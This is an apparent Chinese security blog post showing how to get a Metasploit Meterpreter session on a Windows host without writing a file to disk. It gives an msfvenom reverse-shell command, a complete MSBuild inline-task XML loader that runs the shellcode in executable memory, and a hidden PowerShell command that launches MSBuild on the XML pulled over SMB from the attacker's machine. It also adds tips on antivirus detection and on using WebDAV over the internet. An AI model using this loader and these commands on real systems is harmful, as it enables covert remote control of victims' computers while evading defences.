内网不落地上线msf

  1. 0x00前言
  2. 0x01环境
  3. 0x02实验过程

0x00前言

原本打算直接写在星球里的,编辑器太垃圾了。我佛了….写的烦躁,直接用博客写

0x01环境

windows 7:192.168.241.156
kali:192.168.1.108

0x02实验过程

msfvenom生成32位的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -f csharp

替换xml里的shellcode

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>


      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[304]{shellcode };
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          }
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask></Project>

1R2V6P.png

配置smb
1R2G60.png

1R20h9.png

执行如下命令:

powershell -w hidden -c "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\192.168.1.108\share\t.xml "

这样做是为了不出现黑框,但是会被杀。如果有其他隐藏黑框的可以取而代之
(被杀的点是powershell -w hidden参数,命令原本不会被杀,已测过)
1RhpjI.png

1RhE4g.png

如果是外网的话可用WebDAV代替smb


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:内网不落地上线msf

本文作者:九世

发布时间:2020-02-08, 15:42:11

最后更新:2020-02-08, 16:16:56

原始链接:http://422926799.github.io/posts/feab0778.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录